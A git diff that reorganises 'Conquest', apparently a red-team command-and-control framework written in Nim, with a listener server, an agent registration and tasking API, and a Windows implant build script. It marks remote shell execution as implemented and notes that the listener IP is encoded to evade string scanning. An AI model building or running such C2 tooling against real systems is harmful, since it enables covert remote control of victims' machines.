diff --git a/server/agent/taskDispatcher.nim b/server/agent/taskDispatcher.nim deleted file mode 100644 index d3a2a7c..0000000 --- a/server/agent/taskDispatcher.nim +++ /dev/null @@ -1,17 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times, json -import ../types -import ../db/database - -# Generic task creation procedure -proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) = - let - date = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: command, - args: args, - ) - - cq.interactAgent.tasks.add(task) - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) \ No newline at end of file diff --git a/agents/README.md b/src/agents/README.md similarity index 100% rename from agents/README.md rename to src/agents/README.md diff --git a/agents/commands.md b/src/agents/commands.md similarity index 94% rename from agents/commands.md rename to src/agents/commands.md index 7ac9c89..c2ad7db 100644 --- a/agents/commands.md +++ b/src/agents/commands.md @@ -11,8 +11,8 @@ Basic API-only Commands - [x] ls/dir : List all files in directory (including hidden ones) - [x] rm : Remove a file - [x] rmdir : Remove a empty directory -- [ ] mv : Move a file -- [ ] cp : Copy a file +- [x] mv : Move a file +- [x] cp : Copy a file - [ ] cat/type : Display contents of a file - [ ] env : Display environment variables - [ ] ps : List processes @@ -26,7 +26,7 @@ Basic API-only Commands Execution Commands ------------------ -- [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) +- [x] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx) - [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o) - Read from listener endpoint directly to memory - Base for all kinds of BOFs (Situational Awareness, ...) diff --git a/agents/monarch/agentinfo.nim b/src/agents/monarch/agentinfo.nim similarity index 100% rename from agents/monarch/agentinfo.nim rename to src/agents/monarch/agentinfo.nim diff --git a/agents/monarch/build.sh b/src/agents/monarch/build.sh similarity index 71% rename from agents/monarch/build.sh rename to src/agents/monarch/build.sh index f87ff94..0779ac7 100644 --- a/agents/monarch/build.sh +++ b/src/agents/monarch/build.sh @@ -1,4 +1,4 @@ #!/bin/bash CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" -nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/agents/monarch/monarch.nim +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim diff --git a/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim similarity index 100% rename from agents/monarch/commands/commands.nim rename to src/agents/monarch/commands/commands.nim diff --git a/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim similarity index 100% rename from agents/monarch/commands/filesystem.nim rename to src/agents/monarch/commands/filesystem.nim diff --git a/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim similarity index 100% rename from agents/monarch/commands/shell.nim rename to src/agents/monarch/commands/shell.nim diff --git a/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim similarity index 100% rename from agents/monarch/commands/sleep.nim rename to src/agents/monarch/commands/sleep.nim diff --git a/agents/monarch/http.nim b/src/agents/monarch/http.nim similarity index 100% rename from agents/monarch/http.nim rename to src/agents/monarch/http.nim diff --git a/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim similarity index 100% rename from agents/monarch/monarch.nim rename to src/agents/monarch/monarch.nim diff --git a/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg similarity index 100% rename from agents/monarch/nim.cfg rename to src/agents/monarch/nim.cfg diff --git a/agents/monarch/taskHandler.nim b/src/agents/monarch/taskHandler.nim similarity index 100% rename from agents/monarch/taskHandler.nim rename to src/agents/monarch/taskHandler.nim diff --git a/agents/monarch/types.nim b/src/agents/monarch/types.nim similarity index 96% rename from agents/monarch/types.nim rename to src/agents/monarch/types.nim index 8a05b4e..5df7e45 100644 --- a/agents/monarch/types.nim +++ b/src/agents/monarch/types.nim @@ -1,5 +1,5 @@ import winim, tables -import ../../server/types +import ../../types export Task, CommandType, TaskResult, TaskStatus type diff --git a/agents/monarch/utils.nim b/src/agents/monarch/utils.nim similarity index 100% rename from agents/monarch/utils.nim rename to src/agents/monarch/utils.nim diff --git a/client/client.nim b/src/client/client.nim similarity index 100% rename from client/client.nim rename to src/client/client.nim diff --git a/client/nim.cfg b/src/client/nim.cfg similarity index 100% rename from client/nim.cfg rename to src/client/nim.cfg diff --git a/server/agent/agent.nim b/src/server/core/agent.nim similarity index 62% rename from server/agent/agent.nim rename to src/server/core/agent.nim index 98a624f..91d6056 100644 --- a/server/agent/agent.nim +++ b/src/server/core/agent.nim @@ -1,8 +1,9 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams -import ./interact -import ../[types, globals, utils] -import ../db/database +import ./taskDispatcher +import ../utils +import ../db/database +import ../../types #[ Agent management mode @@ -121,7 +122,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = let listener = cq.listeners[listener.toUpperAscii] # Create/overwrite nim.cfg file to set agent configuration - let agentConfigFile = fmt"../agents/{payload}/nim.cfg" + let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg" # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command let (first, second, third, fourth) = parseOctets(listener.address) @@ -142,7 +143,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") # Build agent by executing the ./build.sh script on the system. - let agentBuildScript = fmt"../agents/{payload}/build.sh" + let agentBuildScript = fmt"../src/agents/{payload}/build.sh" cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...") @@ -166,87 +167,3 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = except CatchableError as err: cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg) -#[ - Agent API - Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results -]# -proc register*(agent: Agent): bool = - - # The following line is required to be able to use the `cq` global variable for console output - {.cast(gcsafe).}: - - # Check if listener that is requested exists - # TODO: Verify that the listener accessed is also the listener specified in the URL - # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database - if not cq.dbListenerExists(agent.listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") - return false - - # Store agent in database - if not cq.dbStoreAgent(agent): - cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") - return false - - cq.add(agent) - - let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") - - return true - -proc getTasks*(listener, agent: string): JsonNode = - - {.cast(gcsafe).}: - - # Check if listener exists - if not cq.dbListenerExists(listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") - return nil - - # Check if agent exists - if not cq.dbAgentExists(agent.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") - return nil - - # Update the last check-in date for the accessed agent - cq.agents[agent.toUpperAscii].latestCheckin = now() - # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): - # return nil - - # Return tasks in JSON format - return %cq.agents[agent.toUpperAscii].tasks - -proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = - - {.cast(gcsafe).}: - - let date: string = now().format("dd-MM-yyyy HH:mm:ss") - - if taskResult.status == Failed: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") - - if taskResult.data != "": - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") - - # Split result string on newline to keep formatting - for line in decode(taskResult.data).split("\n"): - cq.writeLine(line) - else: - cq.writeLine() - - else: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") - - if taskResult.data != "": - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:") - - # Split result string on newline to keep formatting - for line in decode(taskResult.data).split("\n"): - cq.writeLine(line) - else: - cq.writeLine() - - # Update task queue to include all tasks, except the one that was just completed - cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) - - return \ No newline at end of file diff --git a/src/server/core/agentApi.nim b/src/server/core/agentApi.nim new file mode 100644 index 0000000..8a82050 --- /dev/null +++ b/src/server/core/agentApi.nim @@ -0,0 +1,90 @@ +import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams + +import ../globals +import ../db/database +import ../../types + +#[ + Agent API + Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results +]# +proc register*(agent: Agent): bool = + + # The following line is required to be able to use the `cq` global variable for console output + {.cast(gcsafe).}: + + # Check if listener that is requested exists + # TODO: Verify that the listener accessed is also the listener specified in the URL + # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database + if not cq.dbListenerExists(agent.listener.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") + return false + + # Store agent in database + if not cq.dbStoreAgent(agent): + cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") + return false + + cq.add(agent) + + let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") + + return true + +proc getTasks*(listener, agent: string): JsonNode = + + {.cast(gcsafe).}: + + # Check if listener exists + if not cq.dbListenerExists(listener.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") + return nil + + # Check if agent exists + if not cq.dbAgentExists(agent.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") + return nil + + # Update the last check-in date for the accessed agent + cq.agents[agent.toUpperAscii].latestCheckin = now() + # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): + # return nil + + # Return tasks in JSON format + return %cq.agents[agent.toUpperAscii].tasks + +proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = + + {.cast(gcsafe).}: + + let date: string = now().format("dd-MM-yyyy HH:mm:ss") + + if taskResult.status == Failed: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") + + if taskResult.data != "": + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") + + # Split result string on newline to keep formatting + for line in decode(taskResult.data).split("\n"): + cq.writeLine(line) + else: + cq.writeLine() + + else: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") + + if taskResult.data != "": + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:") + + # Split result string on newline to keep formatting + for line in decode(taskResult.data).split("\n"): + cq.writeLine(line) + else: + cq.writeLine() + + # Update task queue to include all tasks, except the one that was just completed + cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) + + return \ No newline at end of file diff --git a/server/listener/api.nim b/src/server/core/endpoints.nim similarity index 98% rename from server/listener/api.nim rename to src/server/core/endpoints.nim index 34466e1..6091449 100644 --- a/server/listener/api.nim +++ b/src/server/core/endpoints.nim @@ -1,8 +1,8 @@ import prologue, nanoid, json import sequtils, strutils, times -import ../[types] -import ../agent/agent +import ./agentApi +import ../../types proc error404*(ctx: Context) {.async.} = resp "", Http404 diff --git a/server/listener/listener.nim b/src/server/core/listener.nim similarity index 85% rename from server/listener/listener.nim rename to src/server/core/listener.nim index ac2ed7f..551d070 100644 --- a/server/listener/listener.nim +++ b/src/server/core/listener.nim @@ -1,9 +1,10 @@ import strformat, strutils, sequtils, nanoid, terminal import prologue -import ./api -import ../[types, utils] +import ./endpoints +import ../utils import ../db/database +import ../../types proc listenerUsage*(cq: Conquest) = cq.writeLine("""Manage, start and stop listeners. @@ -46,10 +47,10 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = var listener = newApp(settings = listenerSettings) # Define API endpoints - listener.post("{listener}/register", api.register) - listener.get("{listener}/{agent}/tasks", api.getTasks) - listener.post("{listener}/{agent}/{task}/results", api.postResults) - listener.registerErrorHandler(Http404, api.error404) + listener.post("{listener}/register", endpoints.register) + listener.get("{listener}/{agent}/tasks", endpoints.getTasks) + listener.post("{listener}/{agent}/{task}/results", endpoints.postResults) + listener.registerErrorHandler(Http404, endpoints.error404) # Store listener in database var listenerInstance = newListener(name, host, port) @@ -79,10 +80,10 @@ proc restartListeners*(cq: Conquest) = listener = newApp(settings = settings) # Define API endpoints - listener.post("{listener}/register", api.register) - listener.get("{listener}/{agent}/tasks", api.getTasks) - listener.post("{listener}/{agent}/{task}/results", api.postResults) - listener.registerErrorHandler(Http404, api.error404) + listener.post("{listener}/register", endpoints.register) + listener.get("{listener}/{agent}/tasks", endpoints.getTasks) + listener.post("{listener}/{agent}/{task}/results", endpoints.postResults) + listener.registerErrorHandler(Http404, endpoints.error404) try: discard listener.runAsync() diff --git a/server/agent/interact.nim b/src/server/core/taskDispatcher.nim similarity index 95% rename from server/agent/interact.nim rename to src/server/core/taskDispatcher.nim index 61e5798..ec79cae 100644 --- a/server/agent/interact.nim +++ b/src/server/core/taskDispatcher.nim @@ -1,6 +1,5 @@ import argparse, times, strformat, terminal, nanoid, tables, json, sequtils -import ./taskDispatcher -import ../types +import ../../types #[ Agent Argument parsing @@ -224,6 +223,19 @@ proc packageArguments(cq: Conquest, command: Command, arguments: seq[string]): J else: result[argument.name] = %"" +proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) = + let + date = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: command, + args: args, + ) + + cq.interactAgent.tasks.add(task) + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) + proc handleAgentCommand*(cq: Conquest, input: string) = # Return if no command (or just whitespace) is entered if input.replace(" ", "").len == 0: return diff --git a/server/db/database.nim b/src/server/db/database.nim similarity index 98% rename from server/db/database.nim rename to src/server/db/database.nim index 1cbb45b..596f2af 100644 --- a/server/db/database.nim +++ b/src/server/db/database.nim @@ -1,6 +1,7 @@ import system, terminal, tiny_sqlite -import ../types + import ./[dbAgent, dbListener] +import ../../types # Export functions so that only ./db/database is required to be imported export dbAgent, dbListener diff --git a/server/db/dbAgent.nim b/src/server/db/dbAgent.nim similarity index 99% rename from server/db/dbAgent.nim rename to src/server/db/dbAgent.nim index 4158a33..06b9ab9 100644 --- a/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -1,5 +1,5 @@ import system, terminal, tiny_sqlite, times -import ../types +import ../../types #[ Agent database functions diff --git a/server/db/dbListener.nim b/src/server/db/dbListener.nim similarity index 99% rename from server/db/dbListener.nim rename to src/server/db/dbListener.nim index 623ce91..8f02c1f 100644 --- a/server/db/dbListener.nim +++ b/src/server/db/dbListener.nim @@ -1,5 +1,5 @@ import system, terminal, tiny_sqlite -import ../types +import ../../types #[ Listener database functions diff --git a/server/globals.nim b/src/server/globals.nim similarity index 91% rename from server/globals.nim rename to src/server/globals.nim index 26cf58d..d5a6b7a 100644 --- a/server/globals.nim +++ b/src/server/globals.nim @@ -1,4 +1,4 @@ -import ./types +import ../types # Global variable for handling listeners, agents and console output var cq*: Conquest diff --git a/server/nim.cfg b/src/server/nim.cfg similarity index 100% rename from server/nim.cfg rename to src/server/nim.cfg diff --git a/server/server.nim b/src/server/server.nim similarity index 97% rename from server/server.nim rename to src/server/server.nim index 67b9f30..31571b0 100644 --- a/server/server.nim +++ b/src/server/server.nim @@ -1,8 +1,9 @@ import prompt, terminal, argparse import strutils, strformat, times, system, tables -import ./[types, globals] -import agent/agent, listener/listener, db/database +import ./globals +import core/agent, core/listener, db/database +import ../types #[ Argument parsing @@ -136,7 +137,7 @@ proc main() = setControlCHook(exit) # Initialize framework - let dbPath: string = "../server/db/conquest.db" + let dbPath: string = "../src/server/db/conquest.db" cq = initConquest(dbPath) # Print header diff --git a/server/utils.nim b/src/server/utils.nim similarity index 99% rename from server/utils.nim rename to src/server/utils.nim index 97d977e..885ce0a 100644 --- a/server/utils.nim +++ b/src/server/utils.nim @@ -1,7 +1,7 @@ import strutils, terminal, tables, sequtils, times, strformat import std/wordwrap -import ./[types] +import ../types proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = # TODO: Verify that address is in correct, expected format diff --git a/server/types.nim b/src/types.nim similarity index 99% rename from server/types.nim rename to src/types.nim index 3e6e8ec..abc44f8 100644 --- a/server/types.nim +++ b/src/types.nim @@ -1,8 +1,7 @@ import prompt import prologue -import tables, sequtils +import tables import times -import terminal #[ Agent types & procs @@ -140,7 +139,6 @@ proc stringToProtocol*(protocol: string): Protocol = return HTTP else: discard - #[ Conquest framework types & procs ]#